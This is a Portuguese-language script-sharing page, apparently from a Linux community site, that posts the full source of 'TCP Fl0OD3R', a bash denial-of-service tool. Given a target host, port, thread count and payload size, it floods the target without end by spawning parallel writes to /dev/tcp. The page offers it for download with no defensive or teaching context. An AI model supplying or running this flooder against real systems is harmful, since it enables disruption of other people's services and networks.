TCP Flooder

Publicado por Perfil removido (última atualização em 18/11/2013)

[ Hits: 5.599 ]

Download tcp-flood.bash




TCP flooder feito em Shell Script.

  



Esconder código-fonte

#!/bin/bash
# TCP Fl0OD3R 8y MMxM

error(){
    echo -e "\n\n[sorry dude] connection refused\n\n"
    exit;
}

help(){
name=$(basename $0)
cat <<_EXPLAIN

[+] TCP Fl0OD3R 8y MMxM
 |
 |
 *--> [ Options ]
 |
 |  (-x [target-destination]    )
 |  (-p [port-destination]      )
 |  (-t [threads]           )
 |  (-s [size-of-package {bytes}]   )
 |
 *--> [ Example ]

    $name -x 127.0.0.1 -p 3306 -t 20 -s 2096

_EXPLAIN
exit;
}

flood(){
    dest=$1
    port=$2
    pack=$3
    echo "$pack" > /dev/tcp/$dest/$port
}

[ "$1" ] || help;

while getopts x:p:s:t: OPT;
do
    case "$OPT" in
        "x") target="${OPTARG}";;
        "p") port="${OPTARG}";;
        "s") size="${OPTARG}";;
        "t") threads="${OPTARG}";;
        "?") help;;
    esac
done

[ $port ] || help;
[ $target ] || help;
[ $size ] || help;
[ $threads ] || help;

echo >/dev/tcp/$target/$port || error

pack=$(printf %"$size"s |tr " " "M")

echo -e "\n[+] Starting flood\n[*]Ctrl+c to stop !!!\n\n"
sleep 2

declare -A pids
nn=0
while [ 1 ]
do
    echo -ne "\r[$nn] Packets sent";
    for i in $(seq $threads)
    do
        flood $target $port $pack &
        pid=$!
        pids[$pid]=$i
        nn=$(($nn+1))
    done

    while [ -n "${pids[*]}" ]; do
        sleep 1
        for pid in "${!pids[@]}"; do
            if ! ps "$pid" >/dev/null; then
                unset pids[$pid]
            fi
        done

        if [ -z "${!pids[*]}" ]; then
            break
        fi
    done

done

Scripts recomendados

tira_usb.sh - Remover dispositivo USB

Alterar temas GTK individualmente

getw.bash

Envia e-mail notificando configurações de uma máquina

Baby Percent - Converte Semanas da Gestação em Porcentagem


  

Comentários

Nenhum comentário foi encontrado.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts